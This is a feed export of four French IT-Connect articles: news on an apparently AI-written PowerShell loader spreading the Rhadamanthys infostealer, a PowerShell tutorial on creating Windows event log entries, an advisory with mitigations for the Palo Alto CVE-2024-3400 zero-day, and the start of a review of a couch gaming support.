# articles

feed_id: https://www.it-connect.fr/?p=79429
title: Un script PowerShell surement codé par l’IA a été utilisé pour distribuer un malware infostealer
uri: Un-script-PowerShell-surement-codé-par-l-IA-a-été-utilisé-pour-d
url:
https://www.it-connect.fr/un-script-powershell-genere-avec-ia-utilise-pour-distribuer-un-logiciel-malveillant-infostealer/

content:
<p><strong>Des chercheurs en sécurité soupçonnent les cybercriminels d'avoir utilisé l'IA générative dans le cadre d'une attaque pour générer un script PowerShell. Il a été utilisé pour distribuer un malware infostealer. Faisons le point !</strong></p>



<p>En mars 2024, les chercheurs en sécurité de chez Proofpoint ont identifié une campagne malveillante ciblant <strong>des dizaines d'organisations allemandes</strong> et associées au groupe de pirates suivi sous le nom de <strong>TA547</strong>, et connu également sous le nom de Scully Spider. Il s'agirait d'<strong>un groupe actif depuis 2017</strong> et appartenant à la <strong>catégorie des "<em>initial access broker</em>" </strong>(courtier d'accès initial).</p>



<p>"<em>Outre les campagnes menées en Allemagne, d'autres organisations ont été ciblées récemment en Espagne, en Suisse, en Autriche et aux États-Unis.</em>", peut-on lire dans<a href="https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta547-targets-german-organizations-rhadamanthys-stealer" target="_blank" rel="noopener nofollow" title=""> le rapport</a> de Proofpoint.</p>



<p>Lors de cette campagne, les pirates ont tenté d'<strong>usurper l'identité de la marque allemande Metro</strong> en envoyant des e-mails malveillants avec <strong>une facture, au format ZIP, en pièce jointe</strong>. Pour échapper aux analyses de sécurité, <strong>ce fichier ZIP est protégé par le mot de passe "MAR26"</strong>. Il contient <strong>un fichier de raccourci malveillant (.LNK)</strong> qui, lorsqu'il est exécuté, <strong>déclenche l'exécution d'un script distant via <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a></strong>.</p>



<p>L'objectif final est d'infecter la machine avec le logiciel malveillant "<strong>Rhadamanthys</strong>", de type <em>infostealer</em>. Ce malware a pour objectif de voler des données sur chaque machine infectée, notamment des identifiants et des cookies.</p>



<h2 class="wp-block-heading">Un script PowerShell généré avec une IA ?</h2>



<p>Les chercheurs en sécurité ont procédé à l'analyse du script PowerShell utilisé par les cybercriminels. Et, ils ont été surpris de<strong> constater que chaque ligne de code était précédée par un commentaire</strong>, très bien rédigé, comme ceux intégrés par l'IA lorsqu'on lui demande de l'aide pour un bout de code.</p>



<p>Voici un extrait du script PowerShell en question :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="362" src="media/66841d26.Campagne-de-phishing-Script-PowerShell-genere-avec-IA.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA.jpg" alt="" class="wp-image-79430" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA-550x249.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA-150x68.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA-768x348.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Campagne-de-phishing-Script-PowerShell-genere-avec-IA-50x23.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Proofpoint</figcaption></figure>



<p>Les chercheurs affirment que c'est <strong>une caractéristique typique d'un code PowerShell généré avec l'aide d'une IA générative</strong>, que ce soit ChatGPT, Gemini ou Microsoft Copilot. Bien que ce ne soit pas certain à 100%, il y a de fortes chances pour que<strong> les cybercriminels aient utilisé l'IA pour écrire ou réécrire le code</strong>.</p>



<p>Cela signifierait que dans le cadre de cette campagne malveillante, les pirates du groupe TA547 ont recouru à l'IA. Bien entendu, cela n'est qu'un exemple parmi d'autres et dans le cas présent, l'IA pouvait difficilement se douter qu'il s'agissait d'un code PowerShell utilisé à des fins malveillantes.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/malicious-powershell-script-pushing-malware-looks-ai-written/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/un-script-powershell-genere-avec-ia-utilise-pour-distribuer-un-logiciel-malveillant-infostealer/">Un script PowerShell surement codé par l’IA a été utilisé pour distribuer un malware infostealer</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78522
title: Comment utiliser PowerShell pour créer un événement dans un journal Windows ?
uri: Comment-utiliser-PowerShell-pour-créer-un-événement-dans-un-journal
url: https://www.it-connect.fr/powershell-creer-un-evenement-log-observateur-evenements-windows/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons exploiter PowerShell pour créer un journal personnalisé et des événements personnalisés dans l'Observateur d'événements de Windows ou Windows Server, à l'aide de deux cmdlets : New-EventLog et <strong><strong><strong>Write-EventLog.</strong></strong></strong> En complément, nous verrons comment utiliser la classe .NET "EventLog" pour créer des entrées avancées.</strong></p>



<p>Sur Windows, le système d'exploitation, les composants et les applications peuvent<strong> générer des événements</strong> qui sont<strong> inscrits dans les différents journaux </strong>centralisés dans l'<strong>Observateur d'événements</strong>. Ces journaux sont <strong>une mine d'informations </strong>pour les administrateurs systèmes, mais aussi pour les équipes en charge de la sécurité : une action suspecte peut être consignée dans un événement, qui représentera alors une trace intéressante. </p>



<p>L'intérêt ensuite est de <strong>collecter ces événements dans un puits de logs ou un SIEM</strong> afin de les analyser et de <strong>détecter les comportements suspects ou les anomalies</strong> sur une infrastructure.</p>



<p>Grâce à la commande <strong>Write-EventLog</strong> ou à l'utilisation de la classe <strong>EventLog</strong>, nous pouvons alimenter les journaux de Windows avec des événements personnalisés qui, eux aussi, pourront être exploités par une solution telle qu'un SIEM. Autrement dit, votre script PowerShell pourra créer des événements contenant les informations de votre choix.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Remarque </strong>: avant de pouvoir utiliser Write-EventLog, cette action était possible sous Windows grâce à l'utilisation de l'utilitaire en ligne de commande <strong>EVENTCREATE.exe</strong>.</p>
</blockquote>



<h2 class="wp-block-heading">II. Utiliser le cmdlet New-EventLog</h2>



<p>Au sein de l'<strong>Observateur d'événements</strong>, vous pouvez <strong>créer un journal personnalisé</strong>, associé au nom de votre choix, à condition que celui-ci ne soit pas déjà utilisé. Cette étape est facultative, car nous pouvons<strong> créer des enregistrements dans certains journaux natifs</strong>, notamment dans le journal "<strong>Applications</strong>" de Windows. </p>



<p>Néanmoins, le fait de créer un journal personnalisé et d'y inscrire par la suite nos propres événements, permet<strong> "d'isoler" nos événements personnalisés</strong>. Ceci peut vouloir dire également qu'il faudra adapter la configuration de votre outil de collecte de log pour qu'il prenne en charge ce nouveau journal.</p>



<p>La commande suivante permet de créer un journal nommé "<strong>PowerShell-Demo</strong>", qui accepte deux sources : "<strong>Script-1</strong>" et "<strong>Script-2</strong>". Vous pouvez en ajouter autant que vous le souhaitez, et, vous pouvez ajouter des sources supplémentaires à un journal existant. Ceci est indispensable, car chaque événement de journal doit être associé à une source.</p>



<pre class="wp-block-code"><code>New-EventLog -LogName "<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>PowerShell-Demo</strong></mark>" -Source "<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>Script-1</strong></mark>","<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>Script-2</strong></mark>"</code></pre>



<p>Ce journal sera immédiatement visible dans l'Observateur d'événements sous "<strong>Journaux des applications et des services</strong>".</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="800" height="433" src="media/ae91392e.PowerShell-New-EventLog-800x433.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-800x433.png" alt="PowerShell - New-EventLog" class="wp-image-78523" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-800x433.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-550x298.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-768x416.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-New-EventLog.png 850w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>D'ailleurs, pour ajouter une source supplémentaire, il suffit d'exécuter une nouvelle fois New-EventLog en indiquant le nom du journal et le nom de la source supplémentaire à ajouter. Voici un exemple pour ajouter la source "<strong>Script-3</strong>" :</p>



<pre class="wp-block-code"><code>New-EventLog -LogName "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">PowerShell-Demo</mark></strong>" -Source "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Script-3</mark></strong>"</code></pre>



<p>Si vous effectuez une erreur, par exemple, dans le nom de votre journal, sachez que vous pouvez le supprimer avec cette commande :</p>



<pre class="wp-block-code"><code>Remove-EventLog -LogName "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">PowerShell-Demo</mark></strong>"</code></pre>



<p>Pour approfondir l'utilisation de ce cmdlet, vous pouvez consulter cette page :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.management/new-eventlog?view=powershell-5.1?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - New-EventLog</a></li>
</ul>



<h2 class="wp-block-heading">III. Utiliser le cmdlet Write-EventLog</h2>



<p>Désormais, nous allons voir<strong> comment écrire un nouvel événement dans le journal d'événements </strong>que nous venons de créer. Nous pourrions aussi l'ajouter dans un autre journal (attention, certains sont protégés), tout se joue au niveau du paramètre "<strong>-LogName</strong>" de la commande <strong>Write-EventLog</strong> puisqu'il permet de préciser le journal cible.</p>



<p>Comme pour les autres cmdlets PowerShell, vous pouvez spécifier le nom du cmdlet suivi de chaque paramètre et de sa valeur, mais dans le cas présent, l'écriture proposée ci-dessous permet d'avoir une meilleure lisibilité.</p>



<pre class="wp-block-code"><code><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>$Event</strong></mark> = @{
    LogName = "PowerShell-Demo"
    Source = "Script-1"
    EntryType = "Error"
    EventId = 10000
    Message = "Cette alerte a été généré depuis PowerShell"
}

Write-EventLog <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>@Event</strong></mark></code></pre>



<p>Ce bout de code va créer un événement de type "<strong>Erreur</strong>" dans notre journal, associé à la source "<strong>Script-1</strong>" et l'ID "<strong>10000</strong>". Il contiendra le message "<em>Cette alerte a été généré depuis PowerShell</em>", comme vous pouvez le voir sur l'image ci-dessous. Essayez d'utiliser des ID différents pour vos types d'événements, et évitez aussi d'utiliser des ID déjà utilisé par Windows.</p>



<figure class="wp-block-image size-large"><a href="media/a28554f5.PowerShell-Write-EventLog.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog.png"><img decoding="async" width="800" height="596" src="media/31453287.PowerShell-Write-EventLog-800x596.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-800x596.png" alt="PowerShell - Write-EventLog" class="wp-image-78524" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-800x596.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-550x410.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-150x112.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-768x572.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-Write-EventLog.png 890w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>À la place du type "<strong>Error</strong>" permettant de générer une erreur, vous pouvez utiliser les valeurs suivantes : <strong>Warning, Informational, SuccessAudit, et FailureAudit</strong>. Sachez que cette commande prend en charge le paramètre "<strong>-ComputerName</strong>", ce qui permet de créer un événement dans le journal d'un ordinateur distant.</p>



<p>Pour consulter ce journal personnalisé, ou un autre journal, vous pouvez utiliser le cmdlet PowerShell "<strong>Get-EventLog</strong>". Bien que ce cmdlet soit très pratique, il ne permet pas d'accéder à tous les journaux, donc sachez qu'il existe aussi un second cmdlet prévu pour consulter les journaux : "<strong>Get-WinEvent</strong>".</p>



<p>Voici la commande à utiliser pour récupérer les logs de notre journal :</p>



<pre class="wp-block-code"><code>Get-EventLog -LogName "<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">PowerShell-Demo</mark></strong>"</code></pre>



<p>Pour approfondir l'utilisation de ces cmdlets, vous pouvez consulter ces pages :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.management/write-eventlog?view=powershell-5.1?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Write-EventLog</a></li>



<li><a href="https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Get-EventLog</a></li>



<li><a href="https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.4" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Get-WinEvent</a></li>
</ul>



<h2 class="wp-block-heading">IV. Utiliser la classe EventLog avec PowerShell</h2>



<p>Pour aller plus loin dans l'écriture d'événements dans un journal Windows, il convient d'exploiter la classe <strong>EventLog </strong>directement depuis PowerShell. Celle-ci va nous permettre d'<strong>ajouter des données mieux structurées dans notre événement</strong>, notamment dans la section "<strong>EventData</strong>" visible à partir de la <strong>vue XML</strong>. C'est utile pour stocker plusieurs informations tout en permettant de récupérer de façon indépendante chaque information.</p>



<p>Voici un exemple :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="623" height="432" src="media/60c57c9d.PowerShell-EventLog-EventData.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData.png" alt="PowerShell - EventLog - EventData" class="wp-image-78526" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData.png 623w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData-550x381.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/PowerShell-EventLog-EventData-130x90.png 130w" sizes="(max-width: 623px) 100vw, 623px" /></figure>



<p>Nous avons mis en pratique cette méthode dans ce tutoriel :</p>



<ul>
<li><a href="https://www.it-connect.fr/securite-active-directory-mots-de-passe-dans-la-description-des-objets-utilisateur/" target="_blank" rel="noopener" title="">Sécurité de l’Active Directory : les mots de passe dans la description des objets utilisateur</a></li>
</ul>



<p>Ceci complexifie l'inscription d'un nouvel événement, car nous devons créer nos propres objets et nous passer de l'utilisation de Write-EventLog. Un premier objet "<strong>System.Diagnostics.EventInstance</strong>" permettra d'indiquer le numéro d'ID et le type d'événements, tandis qu'un second objet "<strong>System.Diagnostics.EventLog</strong>" permettra de préciser les données de l'événement.</p>



<p>Néanmoins, pour que l'utilisation reste simple, nous vous proposons d'utiliser cette fonction :</p>



<pre class="wp-block-code"><code>function <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Write-EventLogV2</mark></strong> {
<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-light-green-cyan-color">    &lt;#
    .SYNOPSIS
        Crée un évènement dans l'observateur d'évènement
    .DESCRIPTION
        La fonction utilise la CmdLet WriteEvent pour créer un évènement à partir des paramètres d'entrée. 
    .PARAMETER dataUser
        Nom utilisateur qui sera inscrit dans le contenu de l'évènement à créer
    .PARAMETER dataDescription
        Contenu de la description qui sera inscrite dans le contenu de l'évènement à créer
    .PARAMETER ID
        Event ID de l'évènement à créer
    .PARAMETER evtLog
        Journal de l'évènement à créer
    .PARAMETER evtSource
        Source de l'évènement à créer
    .EXAMPLE
        New-EventLog -dataUser "John" -dataDescription "new description"
    .OUTPUTS
        None
    #&gt;</mark>
    param(
          &#91;Parameter(Mandatory=$true)]$dataUser,
          $dataDescription="",
          $ID=10000,
          $evtLog="PowerShell-Demo",
          $evtSource="Script-2"
          )

    <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-light-green-cyan-color"># Charge la source d'événement dans le journal si elle n'est pas déjà chargée.
    # Cette opération échouera si la source d'événement est déjà affectée à un autre journal.</mark>
    if (&#91;System.Diagnostics.EventLog]::SourceExists($evtSource) -eq $false) {
        &#91;System.Diagnostics.EventLog]::CreateEventSource($evtSource, $evtLog)
    }

    <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-light-green-cyan-color"># Construire l'événement et l'enregistrer</mark>
    $evtID = New-Object System.Diagnostics.EventInstance($ID,1)
    $evtObject = New-Object System.Diagnostics.EventLog
    $evtObject.Log = $evtLog
    $evtObject.Source = $evtSource
    $evtObject.WriteEvent($evtID, @($dataUser,"Description : $dataDescription"))
  }</code></pre>



<p>En entrée, <strong>cette fonction accepte deux messages</strong> ($dataUser et $dataDescription - vous pouvez renommer ces paramètres dont le nom a été choisi vis-à-vis du script d'origine), <strong>un numéro d'ID</strong> (par défaut, ce sera 10000), le <strong>nom d'un journal d'événement</strong> (par défaut, ce sera "PowerShell-Demo") ainsi qu'<strong>une source</strong> (par défaut, ce sera "Script-2"). </p>



<p>De plus, par défaut, cette fonction génère des événements de type "Information". Si vous souhaitez changer le type d'événement, vous devez ajuster la valeur présente sur cette ligne :</p>



<pre class="wp-block-code"><code>$evtID = New-Object System.Diagnostics.EventInstance($ID,<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">1</mark></strong>)</code></pre>



<p>En effet, la première valeur correspond à l'ID souhaité, ici associé à la variable $ID, tandis que la seconde valeur correspond au type d'événement. Le <strong>1</strong> correspond au type "<strong>Information</strong>".</p>



<p><strong>Ce qui permettra de générer des événements similaires à celui-ci :</strong></p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/6e3fafd5.Creer-event-Windows-avec-PowerShell-Exemple-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1.png"><img decoding="async" width="624" height="432" data-id="78527" src="media/6e3fafd5.Creer-event-Windows-avec-PowerShell-Exemple-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1.png" alt="" class="wp-image-78527" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1.png 624w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1-550x381.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-1-130x90.png 130w" sizes="(max-width: 624px) 100vw, 624px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/afe4f264.Creer-event-Windows-avec-PowerShell-Exemple-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2.png"><img decoding="async" width="625" height="435" data-id="78528" src="media/afe4f264.Creer-event-Windows-avec-PowerShell-Exemple-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2.png" alt="" class="wp-image-78528" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2.png 625w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2-550x383.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Creer-event-Windows-avec-PowerShell-Exemple-2-130x90.png 130w" sizes="(max-width: 625px) 100vw, 625px" /></a></figure>
</figure>



<p>Si besoin, vous pouvez ajouter d'autres valeurs dans la seconde partie de "<strong>$evtObject.WriteEvent</strong>" pour avoir des lignes "<strong>&lt;Data&gt;</strong>" supplémentaires.</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>En suivant ce tutoriel, vous devriez être en mesure de créer vos propres événements personnalisés dans les journaux Windows, que ce soit dans un journal existant ou dans votre propre journal à l'aide de PowerShell ! Libre à vous d'utiliser ces cmdlets ou cette fonction dans vos scripts, et de les adapter à vos besoins ! En tout cas, ceci ouvre des possibilités très intéressantes !</p><p>The post <a href="https://www.it-connect.fr/powershell-creer-un-evenement-log-observateur-evenements-windows/">Comment utiliser PowerShell pour créer un événement dans un journal Windows ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79458
uri: Firewalls-Palo-Alto-cette-faille-de-sécurité-zero-day-non-corrigé
title:
Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !

url:
https://www.it-connect.fr/firewalls-palo-alto-cette-faille-de-securite-zero-day-non-corrigee-est-deja-exploitee-dans-des-attaques/

content:
<p><strong>Alerte chez Palo Alto Networks : une faille de sécurité zero-day, non patchée à l'heure actuelle, a déjà été exploitée dans le cadre de plusieurs cyberattaques ! Voici ce que l'on sait !</strong></p>



<p>Le système <strong>PAN-OS</strong>, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une <strong>faille de sécurité critique</strong> associée à un <strong>score CVSS de 10 sur 10</strong> ! Elle a été découverte par les chercheurs en sécurité de Volexity et elle est désormais associée à la référence <strong>CVE-2024-3400</strong>. Il s'avère que cette vulnérabilité de type "<em>injection de commande</em>" a été découverte dans la fonction GlobalProtect du système PAN-OS.</p>



<p>Dans la pratique, un<strong> attaquant, situé à distance</strong>, peut exploiter cette vulnérabilité pour <strong>exécuter des commandes sur le firewall</strong>, sans <strong>aucune interaction de la part d'un utilisateur</strong>, et sans disposer de privilèges spéciaux. Il est question ici d'<strong>exécuter des commandes en tant qu'administrateur</strong>. </p>



<p>À l'heure actuelle, <strong>cette faille de sécurité a déjà été exploitée</strong> : "<em>Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité</em>", peut-on lire dans le <a href="https://security.paloaltonetworks.com/CVE-2024-3400" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> mis en ligne par l'éditeur de solutions de sécurité.</p>



<h2 class="wp-block-heading">Quelles sont les versions de PAN-OS affectées ?</h2>



<p>Les firewalls Palo Alto qui exécute les <strong>versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1</strong>. Ceci affecte uniquement PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.</p>



<p>Voici le tableau récapitulatif publié par Palo Alto :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="565" height="517" src="media/3010fcf2.Palo-Alto-Networks-PAN-OS-CVE-2024-3400.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-PAN-OS-CVE-2024-3400.png" alt="Palo Alto Networks - PAN-OS - CVE-2024-3400" class="wp-image-79459" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-PAN-OS-CVE-2024-3400.png 565w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-PAN-OS-CVE-2024-3400-550x503.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-PAN-OS-CVE-2024-3400-150x137.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-PAN-OS-CVE-2024-3400-50x46.png 50w" sizes="(max-width: 565px) 100vw, 565px" /></figure>



<p>Il est important de préciser que l'exploitation de la vulnérabilité dépend de la configuration du firewall : "<em>Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.</em>", précise Palo Alto.</p>



<h2 class="wp-block-heading">Comment se protéger de la CVE-2024-3400 ?</h2>



<p><strong>Pour le moment, aucun correctif n'est disponible !</strong> Les correctifs, pour les différentes versions affectées, sont en cours de développement et sont attendus pour le<strong> dimanche 14 avril 2024</strong>, au plus tard.</p>



<p>Voici les versions qui seront publiées :</p>



<ul>
<li>PAN-OS 10.2.9-h1</li>



<li>PAN-OS 11.0.4-h1</li>



<li>PAN-OS 11.1.2-h3</li>
</ul>



<p>En attendant, et avant de partir en week-end, <strong>il est impératif de désactiver la télémétrie sur votre firewall</strong>, en suivant <a href="https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable" target="_blank" rel="noopener nofollow" title="">cette documentation</a> officielle. Ceci empêche l'exploitation de la vulnérabilité. </p>



<p>Sachez que si vous avez un abonnement à la fonction "<strong>Threat Prevention</strong>", vous pouvez <strong>bloquer cette attaque en activant la protection contre la menace avec l'ID 95187</strong>. De plus, assurez-vous que cette protection soit activée sur l'interface GlobalProtect, en suivant <a href="https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184" target="_blank" rel="noopener nofollow" title="">cette page</a> de la documentation.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-firewall-zero-day-used-in-attacks/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/firewalls-palo-alto-cette-faille-de-securite-zero-day-non-corrigee-est-deja-exploitee-dans-des-attaques/">Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78189
title: Test Couchmaster CYCON² – Un support ergonomique pour jouer ou travailler depuis son canapé
uri: Test-Couchmaster-CYCON²-Un-support-ergonomique-pour-jouer-ou-trav
url:
https://www.it-connect.fr/test-couchmaster-cycon-2-nerdytec-support-ergonomique-jouer-ou-travailler-depuis-son-canape/

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Imaginez un instant : vous êtes installé confortablement dans votre canapé, accompagné par deux coussins très confortables, un de chaque côté pour poser vos coudes, et un plateau pour accueillir votre ensemble clavier-souris préféré, voire même un ordinateur portable. C'est la promesse des produits de chez Nerdytec, et plus particulièrement du Couchmaster CYCON² !</strong></p>



<p>Un produit à la fois innovant et étonnant qui va vous permettre de vous installer très confortablement dans votre canapé, que ce soit pour travailler, naviguer sur le Web, ou encore passer des heures à jouer sur votre TV, sans galérer avec votre matériel sur les genoux ou posé sur un support peu adapté.</p>



<p>Voici à quoi ressemble le <strong>Couchmaster CYCON²</strong> de chez Nerdytec :</p>



